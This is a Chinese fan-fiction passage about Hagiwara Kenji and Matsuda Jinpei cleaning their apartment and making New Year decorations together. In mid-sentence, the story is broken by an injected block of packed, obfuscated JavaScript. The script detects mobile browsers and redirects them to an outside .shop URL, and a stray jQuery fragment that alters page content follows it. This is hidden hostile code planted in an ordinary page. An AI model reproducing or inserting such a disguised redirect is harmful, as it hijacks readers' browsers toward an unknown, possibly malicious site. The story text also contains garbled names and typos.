“就只打算提醒吗？”
萩原研二反问道。
松田阵平看向萩原研二，将装着三明治的盘子端起，拿起牛奶往厨房外走去，在经过萩原研二的身边时脚步停顿了一下道：“当然不止提醒，但是我又不能一直在班长身边，所以目前就只能是提醒。”
萩原研二点点头表示理解。
吃过早饭，萩原研二看着松田阵平整理着西装，然后看向柜子上的日历。
确实已经年底了，还有几天就新的一年了。
“小阵平，你看日期，是不是要进行年末大扫除了？”
萩原研二拍了拍松田阵平的肩膀，示意他看向日历。
松田阵平其实早就看到了日历，但年底了警视厅事务繁忙，有堆积如山的报告要处理，还有新年期间的事务要协调。
临走前，松田阵平在玄关站了一会儿，像是在犹豫什么，最后只说了一句：
“冰箱里有食材，不许不吃饭。”
然后他带上围巾，头也不回地走了。
萩原研二站在原地，看着那扇被带上的门，轻轻笑了一声。
他环顾了一圈这间已经住了几天的公寓，然后他做了一个连他自己都有些意外的决定——
他打算在松田回来之前，把这件屋子彻底清理一遍。
不是因为勤快，也不是因为想给小阵平一个惊喜。
只是因为，这大概是他人生中第一次，想在这个家里做点什么。
萩原研二翻出来吸尘器、抹布、清洁剂，以及一堆他啊叫不出名字的打扫工具。
他花了一段时间研究吸尘器的组装方式，期间差点徒手把手扣掰断，然后终于成功让它成功发出了正常的运转声。
他打扫得很认真。
那种认真带着一种他自己的风格，不是勤勤恳恳一板一眼的风格，而是一种精准的、高效的、不留死角的方式。
他会移开家具，清理家具下的灰尘，所有家具下面都被他清理了一遍。
萩原研二只是习惯性地把每一件需要完成的事情做到极致，哪怕只是拖地。
他整理了书架，把散落的文件按日期归档，清洗了积灰的窗帘，趁着清晨正好的阳光吧他们挂起来晾晒。
还把厨房的油烟机滤网拆下来泡了一段时间的清洁剂，最后捞出来的时候，油污尽去，锃亮如新。
等把这些忙完，萩原研二开始打扫房间的卫生。
…
当松田阵平晚上下班推开家门的时候，他第一眼看到的是，一个十分干净的客厅。
空气中弥漫着清洁剂的味道，茶几被擦得锃亮，沙发上所有靠枕都被拍松后整齐排列。
厨房的台面上，所有瓶瓶罐罐按照从高到低的顺序一字排开，那是萩原研二特有的强迫症式秩序感。
而萩原研二本人，正盘腿坐在客厅的地毯上，面前摆着一棵被装饰得歪歪扭扭的门松。
他手里还捏着一根不知道从哪里拆下来的红丝带，正皱着眉头研究如何把它系成一个结。
他听到开门声，抬起头。
松田阵平站在玄关处，围巾还没有解，手里领着公文包，整个人像被按了暂停键一样定在那里。
“……你把屋子打扫了？”
“嗯。”
“全部？”
“嗯。”
松田阵平沉默片刻，慢慢换拖鞋走了进来，他把公文包放在桌上，视线扫过整洁如新的客厅，扫过那棵被装饰得充满个性，深海子有些过于用力的门松，最后落在萩原研二那双沾了一点灰尘的手上。
“……你连窗帘都洗了？”
“油烟机滤网也泡了。”萩原研二的语气平静，像是在汇报一项已经完成的任务，“窗帘洗了，经过一天的晾晒，干了后我装上去了。”
松田阵平沉默地看了他很久。
然后他低下头，用一只手挡住自己半张脸，肩膀微微耸动。
“……你在笑吗？”萩原研二皱起眉。
“没有。”松田阵平的声音闷闷的，带着明显的鼻音，“我只是……”
他放下手，眼眶微红，但嘴角的笑意怎么都藏不住。
“我他妈只是在想，这大概是我住进来这些天，最像‘家’的一次。”
萩原研二的动作顿了顿。
他低下头，继续和那根红丝带较劲，声音随意得像是在讨论晚饭吃什么：
“那就习惯一下，之后我也会在。”
这句话说得很轻，轻到像是在自言自语。
但松田阵平听到了。
窗外，米花町的夜空飘起了细小的雪花。旧年的最后几天，在这间被暖气包裹的公寓里，一只迷路的黑猫终于把自己收拾进了一个人的日常里。
次日，
门松歪歪扭扭地立在玄关一角，像一个倔强的、不太成功但非常努力的新生儿。
松田阵平早上上班时会看它一眼，嘴角带着一种他自己都没意识到的弧度。
而萩原研二像是被打开了什么奇怪的开关。
他翻出了之前从松田阵平公寓拿过来的，如今放在储物柜最深处的一卷稻草绳，又不知道从哪里打听到附近超市有卖制作镜饼的材料，一早就出了门。回来时手里拎着糯米粉、红豆馅、以及一小袋包装精美的干燥柚子叶。
松田阵平下班回来，看到餐桌上摊开的阵仗，愣住了。
“你这是……要开点心铺？”
“做镜饼。”萩原研二头也不抬，正在和一碗糯米粉作斗争，手指上沾满了白色的粉糊，“还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718382|204878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有注连绳，新年快到了，门松已经有了，剩下两样不做齐，总觉得不完整。”
他说这句话的时候语气很随意，像是在陈述一个理所当然的事实。
但松田阵平知道，这个人从小在组织里长大，不可能有什么新年传统的概念。
这些东西，
门松、注连绳、镜饼，对于萩原研二来说，大概和异国的风俗习惯一样陌生。
他是为了这个家才去学的。
松田阵平没有戳破。
他只是脱下外套挂好，洗了手，在桌子的另一侧坐下来，拿起那卷稻草绳端详了一下。
“注连绳我小时候看人编过，虽然没亲手做过，但大概知道结构。”他抬头看了萩原研二一眼，“一起？”
萩原研二抬起沾着面粉的脸，那双下垂眼里闪过一丝意外，然后是极淡的笑意。
“……好啊。”
他们花了将近两个小时才编好第一根像样的注连绳。
过程远没有想象中顺利。
萩原研二的手法太过精准，他试图用逻辑来编织稻草绳，每一股稻草的张力都要均等，每一个扭转的角度都要一致。
结果编出来的部分僵硬得像一根铁棍，完全没有注连绳该有的那种柔韧而自然的弧度。
松田阵平在旁边看得差点笑岔气。
“你这是在编绳子还是在拆炸弹？放松一点，稻草又不是□□线，它有自己的脾气——”
“它有脾气？”萩原研二难以置信地看着手里那根宁死不屈的稻草绳，“它是植物。”
“它是有脾气的植物。”松田阵平理直气壮地接手，用自己的方式将那根僵硬的绳段揉开，重新编了几股，果然变得柔软了许多。
萩原研二在旁边看了一会儿，眼神有些复杂。
“……你在很多事情上，都比我擅长。”他低声说，语气里没有不甘，只是一种平静的陈述。
松田阵平的动作顿了顿。他没有抬头，继续编着手里的绳子，声音比平时轻了一些：“那我可以教你，反正以后每年都要做的，学一次能用很多年。”
以后每年。
这四个字轻飘飘地落在空气里，像一片羽毛落在水面上，漾开细微的涟漪。
萩原阵平没有回答。
但他往松田身边挪近了一点，伸出手，跟着松田的动作，重新开始学习怎么和一根有脾气的稻草绳和平共处。
完成后的注连绳被挂在玄关的门框上方。
它不算完美——有一边的圈比另一边稍微大了一点，装饰的里白也有些歪。
但它是两个人一起完成的。
萩原研二站在门口仰头看了很久，最后轻轻碰了一下垂下来的稻草须，嘴角有一个几乎看不出来的、满足的弧度。